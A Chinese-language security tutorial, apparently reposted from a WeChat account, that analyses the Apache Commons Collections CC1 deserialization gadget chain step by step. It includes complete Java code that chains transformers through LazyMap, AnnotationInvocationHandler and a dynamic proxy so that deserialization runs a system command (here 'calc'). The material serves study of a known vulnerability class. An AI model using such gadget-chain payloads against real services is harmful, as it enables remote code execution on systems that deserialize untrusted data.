在学习CC链之前,这里先带大家从最基本的代码分析,很多人觉得难的原因,就是因为直接给你上一大坨不懂的代码,肯定难啊。
逐块分析就会很简单。首先来看下方的代码。这是p牛分享的一份简化版本
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),//实现了Transformer的类
//实现了Transformer的类,1,参数名 2,参数类型 3,参数列表
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
Transformer transformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,null,transformer);
outerMap.put("test","xxxxx");
短短几行代码,先带大家把Transformer介绍的淋漓尽致。
在首先初始化了一个Transformer的数组,这是做什么用的呢?
onstantTransformer如下:将getRuntime赋给iCOnstant之后,会通过transform返回
而InvokerTransformer如下:在进行有参初始化之后(参数1为方法名,参数2是参数类型,参数3是参数值)。在transform方法通过反射进行了调用
ChainedTransformer用来进行存储并保存到Transformer中
TransformedMap.decorate用来将transformer传入到valueTransformer中(此时类型为ChainedTransformer)
跟进outerMap.put断点发现,进入transformValue方法
进入之后可以发现调用的是valueTransformer,而valueTransformer是ChainedTransformer类的实例化,所以会进行调用ChainedTransformer.transform中
最终会到达ChainedTransformer中的循环
在这里就会调用回ConstantTransformer.transform中,进行将Runtime.getRuntime()进行返回
第二次调用该Runtime对象就会当做object进行传入
最终就是进入到InvokerTransformer中进行反射执行命令
分析完这个简化版的,是不是觉得游刃有余了。
接下来笔者带大家分析CC1,全部代码如下:
首先不要被吓到,这是一个”链“。1-7行在上面已经带大家调试分析完成了。后面的其实也没多少东西了
CC1链:
LazyMap.get()
ChainedTransformer.transformer()
//命令执行
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new
Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new
Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Transformer transformer = new ChainedTransformer(transformers);
Map maps = LazyMap.decorate(new HashMap(),transformer);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
constructor.newInstance(Target.class,maps);
Map ProxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]
{Map.class},handler);
Object obj = constructor.newInstance(Target.class,ProxyMap);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new
FileOutputStream("1.txt"));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("1.txt"));
inputStream.readObject();
objectOutputStream.close();
第七行:ChainedTransformer用来将transformers数组保存到transformer变量中。相当于把它们包成一个变量。这个有什么用处呢?稍后你就会发现的。
之后分析LazyMap.decorate()方法,用来将transformer这个数组保存到保存到factory变量中。可能有人会有疑问,这里是不能直接调用其构造的。
通过使用LazyMap.decorate()传入,在其中会通过new进行传入的。
而LazyMap的get方法,会执行factory.transform(),这个factory不就是在初始化传入的transformer这个数组嘛,相当于ChainedTransformer.transformer()是不是非常熟悉的味道?这样就会执行命令
那现在的问题就是,LazyMap.get方法,会被谁调用呢?
经过前辈们的探索,最终在AnnotationInvocationHandler.invoke()方法会调用memberValues.get方法
(memberValues是一个可传入的变量)
查看其构造,可以发现memberValues则是有参构造中的var2参数。var2则是Lazymap。(这里反射调
用是因为该构造是受保护的)
Map maps = LazyMap.decorate(new HashMap(),transformer);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
constructor.newInstance(Target.class,maps);
那么现在问题就是,如何调用AnnotationInvocationHandler的invoke方法呢,于是就可以通过动态代理来调用
我们如果将AnnotationInvocationHandler对象用Proxy进行代理,那么在readObject的时候,只要调用任
意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get。
通过生成一个动态代理来使用,代理后的对象但是不能被序列化的
Map ProxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
Object obj = constructor.newInstance(Target.class,ProxyMap);
所以可以通过AnnotationInvocationHandler进行包裹一层,因为AnnotationInvocationHandler实现了
Serializable,所以是可以进行序列化的
最后进行序列化和反序列化即可
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new
FileOutputStream("1.txt"));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("1.txt"));
inputStream.readObject();
objectOutputStream.close();
最终成功执行
关于公众号投稿
-
目前只接受原创文章投稿 内容免杀 渗透实例 代码审计 溯源 经验技巧
-
要求 质量较好 从没发表 如有敏感内容请打码。
-
一经采纳根据文章质量给予作者 50-300的稿费。
-
欢迎写手长期合作 投稿联系
原文始发于微信公众号(moonsec):JAVA安全 CC链详细分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论